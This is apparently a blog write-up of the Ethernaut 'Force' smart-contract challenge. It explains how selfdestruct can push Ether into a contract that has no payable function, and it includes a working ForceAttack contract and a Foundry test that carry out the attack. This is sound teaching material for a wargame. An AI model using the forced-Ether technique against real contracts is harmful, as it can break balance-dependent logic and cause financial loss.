Ethereum x Foundry - 0x7 Force

Ethereum x Foundry - 0x7 Force

·

2 min read

Overview

This level introduces us to the following concept(s):

  • The magic of theselfdestruct() function ✨

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

Objective

To complete the challenge, we will need to:

  • Make the balance of the contract greater than zero.

Contract Analysis

The contract contains a remarkable ASCII cat, and ... nothing else!

contract Force {
    /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)
*/
}

Since the contract does not have any payable function, it should revert any ether transaction we throw at it.

Contracts that receive Ether directly (without a function call, i.e. using send or transfer) but do not define a receive Ether function or a payable fallback function throw an exception, sending back the Ether (this was different before Solidity v0.4.0).

docs.soliditylang.org/en/v0.8.10/contracts...

The next paragraph in the docs reveal there are two other ways in which our contract can actually receive Ether:

1- Miner block rewards aka. coinbase transactions 2- Being the recipient of a selfdestruct() function!

The self-destruct function is the only way to "delete" a contract from the blockchain. In truth, the code will remain stored forever, but the contract state is indefinitely marked as "suicided/self-destructed" in the state trie.

Before getting marked, all remaining Ether in the contract's balance will be sent to a designated address. This is what we will use to complete the challenge.

💡 Recommended reads:

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

Create the Force.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

This attack requires us to deploy an intermediate contract that we will destroy:

contract ForceAttack {
    Force force;

    constructor(Force _force) {
        force = _force;
    }

    function attack() public payable {
        address payable sendTo = payable(address(force));
        selfdestruct(sendTo);
    }
}

We just need to send Ether to ForceAttack which will in turn self-destruct and send its funds to Force.

function testForceHack() public {

    ForceAttack attackContract = new ForceAttack(forceContract);
    attackContract.attack{value: 1 ether}();

    assertEq(address(forceContract).balance, 1 ether)
}

Run the attack using the forge test subcommand:

image.png